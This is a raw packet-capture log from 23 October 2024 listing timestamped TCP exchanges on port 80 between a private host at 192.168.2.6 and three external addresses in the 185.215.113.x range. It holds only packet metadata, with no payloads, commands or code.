Oct 23, 2024 17:51:47.360694885 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360702038 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360707045 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360719919 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360729933 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360747099 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360749006 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360766888 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360790968 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360811949 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360824108 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360867977 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:49.619502068 CEST	49894	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:49.619668961 CEST	49926	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:49.625160933 CEST	80	49926	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:49.625298023 CEST	49926	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:49.625384092 CEST	49926	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:49.625979900 CEST	80	49894	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:49.626049042 CEST	49894	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:49.630872011 CEST	80	49926	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:50.530994892 CEST	80	49926	185.215.113.43	192.168.2.6
Oct 23, 2024 17:51:50.531119108 CEST	49926	80	192.168.2.6	185.215.113.43
Oct 23, 2024 17:51:50.533462048 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:50.533761978 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:50.539139032 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:50.539222002 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:50.539339066 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:50.539371967 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:50.539431095 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:50.545116901 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:50.844347954 CEST	49933	80	192.168.2.6	185.215.113.37
Oct 23, 2024 17:51:50.849965096 CEST	80	49933	185.215.113.37	192.168.2.6
Oct 23, 2024 17:51:50.850048065 CEST	49933	80	192.168.2.6	185.215.113.37
Oct 23, 2024 17:51:50.850188017 CEST	49933	80	192.168.2.6	185.215.113.37
Oct 23, 2024 17:51:50.856085062 CEST	80	49933	185.215.113.37	192.168.2.6
Oct 23, 2024 17:51:51.456218004 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.456331968 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.456397057 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.456408024 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.456434965 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.456440926 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.456469059 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.456480980 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.456506014 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.456518888 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.456541061 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.456554890 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.456578016 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.456584930 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.456612110 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.456624031 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.456650019 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.456657887 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.456693888 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.462292910 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.462344885 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.610512018 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.610559940 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.610595942 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.610621929 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.610631943 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.610641956 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.610677958 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.610902071 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.610937119 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.610950947 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.610974073 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.610980988 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.611010075 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.611018896 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.611053944 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.611725092 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.611769915 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.611792088 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.611807108 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.611815929 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.611843109 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.611855984 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.611890078 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.612514019 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.612564087 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.612571001 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.612610102 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.612623930 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.612658978 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.612682104 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.612732887 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.613394976 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.613430023 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.613467932 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.613487959 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.613506079 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.613528013 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.613555908 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.614183903 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.614239931 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.616055012 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.616103888 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.756422043 CEST	80	49933	185.215.113.37	192.168.2.6
Oct 23, 2024 17:51:51.756654024 CEST	49933	80	192.168.2.6	185.215.113.37
Oct 23, 2024 17:51:51.762142897 CEST	49933	80	192.168.2.6	185.215.113.37
Oct 23, 2024 17:51:51.765863895 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.765881062 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.765897036 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.765917063 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.765927076 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.765933037 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.765978098 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.766230106 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.766242981 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.766257048 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.766278028 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.766300917 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.766556978 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.766568899 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.766580105 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.766602039 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.766607046 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.766630888 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.766660929 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.766663074 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.766673088 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.766711950 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.766871929 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.766885042 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.766896963 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.766918898 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.766943932 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.767117977 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767164946 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.767191887 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767204046 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767215014 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767236948 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.767266035 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.767463923 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767477036 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767489910 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767503023 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767512083 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.767544031 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.767765045 CEST	80	49933	185.215.113.37	192.168.2.6
Oct 23, 2024 17:51:51.767776966 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767817974 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.767880917 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767894030 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767904997 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767916918 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767927885 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.767950058 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767956018 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.767959118 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.767968893 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.768008947 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.768055916 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.768436909 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.768480062 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.768486977 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.768495083 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.768512964 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.768532038 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.768537045 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.768548012 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.768560886 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.768877029 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.768934965 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.768955946 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.768966913 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.768980026 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.768991947 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.769048929 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.769062042 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.769108057 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.771286964 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.771341085 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.771351099 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.771365881 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.771380901 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.771393061 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.771410942 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.771434069 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.771663904 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.771677017 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.771697044 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.771706104 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.771708965 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.771727085 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.771756887 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.921864986 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.921880960 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.921894073 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.921919107 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.921924114 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.921936035 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.921952009 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.921962976 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.921987057 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922003984 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922029018 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922041893 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922054052 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922068119 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922087908 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922154903 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922167063 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922179937 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922200918 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922226906 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922238111 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922241926 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922250032 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922261953 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922280073 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922362089 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922390938 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922420025 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922435999 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922437906 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922530890 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922537088 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922548056 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922559023 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922575951 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922578096 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922590971 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922600031 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922601938 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922614098 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922626019 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922629118 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922638893 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922652006 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922671080 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922842026 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922893047 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922895908 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922911882 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922930956 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922933102 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922951937 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922955990 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922969103 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922972918 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.922980070 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.922995090 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923003912 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923021078 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923150063 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923161983 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923173904 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923186064 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923197985 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923203945 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923204899 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923211098 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923217058 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923222065 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923275948 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923477888 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923490047 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923501968 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923513889 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923523903 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923562050 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923568010 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923583031 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923595905 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923612118 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923646927 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923741102 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923758984 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923782110 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923784971 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923799038 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923809052 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923810959 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923829079 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923831940 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923845053 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923856020 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923866987 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923867941 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923882008 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923882961 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923893929 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923904896 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923908949 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923918009 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923924923 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923928976 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923943043 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923944950 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923968077 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.923979998 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.923993111 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.924002886 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.924021006 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.929512978 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.929534912 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.929550886 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.929601908 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.929632902 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.930073023 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930083990 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930094957 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930105925 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930119038 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930119038 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.930130959 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930143118 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930152893 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.930154085 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930166006 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930174112 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.930176973 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930183887 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930191040 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.930203915 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930216074 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930219889 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.930227041 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930238008 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930243015 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.930252075 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930264950 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930272102 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.930274963 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930286884 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930298090 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930300951 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.930309057 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930315018 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930315018 CEST	49932	80	192.168.2.6	185.215.113.16
